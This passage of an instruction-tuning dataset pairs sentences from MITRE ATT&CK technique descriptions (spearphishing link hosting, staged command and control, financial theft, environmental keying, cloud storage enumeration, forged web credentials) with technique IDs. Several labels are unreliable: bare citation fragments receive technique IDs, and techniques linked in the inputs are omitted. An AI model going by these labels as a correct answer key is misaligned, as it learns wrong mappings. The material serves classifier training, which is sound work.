provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation:", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Link shortening services can also be employed.", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Link shortening services can also be employed. ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation:", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Intezer App Service Phishing)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Intezer App Service Phishing) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)", "output": "T1608.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022) ### Response: T1608.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of multiple stages may obfuscate the command and control channel to make detection more difficult.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of multiple stages may obfuscate the command and control channel to make detection more difficult. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote access tools will call back to the first-stage command and control server for instructions.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote access tools will call back to the first-stage command and control server for instructions. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The different stages will likely be hosted separately with no overlapping infrastructure.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The different stages will likely be hosted separately with no overlapping infrastructure. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.", "output": "T1104", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked. ### Response: T1104."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims.", "output": "T1657", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. ### Response: T1657."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering)", "output": "T1657", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) ### Response: T1657."}{"instruction": "List the MITRE techniques contained in the text.", "input": "bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)", "output": "T1657", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) ### Response: T1657."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022)", "output": "T1657", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) ### Response: T1657."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity.", "output": "T1657", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. ### Response: T1657."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC)", "output": "T1657", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) ### Response: T1657."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening public exposure unless payment is made to the adversary.(Citation: Mandiant-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)", "output": "T1657", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening public exposure unless payment is made to the adversary.(Citation: Mandiant-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya) ### Response: T1657."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint Router Malvertising)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint Router Malvertising)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ebowla: Genetic Malware)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ebowla: Genetic Malware) ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation:", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Gauss Whitepaper)", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Gauss Whitepaper) ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", "output": "T1480.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful. ### Response: T1480.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target.", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation:", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye Kevin Mandia Guardrails)", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye Kevin Mandia Guardrails) ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019) ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", "output": "T1480", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. ### Response: T1480."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may enumerate objects in cloud storage infrastructure.", "output": "T1619", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may enumerate objects in cloud storage infrastructure. ### Response: T1619."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.", "output": "T1619", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. ### Response: T1619."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580))", "output": "T1619", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) ### Response: T1619."}{"instruction": "List the MITRE techniques contained in the text.", "input": "adversaries may access the contents/objects stored in cloud infrastructure.", "output": "T1619", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: adversaries may access the contents/objects stored in cloud infrastructure. ### Response: T1619."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage.", "output": "T1619", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. ### Response: T1619."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .", "output": "T1619", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) . ### Response: T1619."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may generate these credential materials in order to gain access to web resources.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may generate these credential materials in order to gain access to web resources. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539),", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also forge tokens by 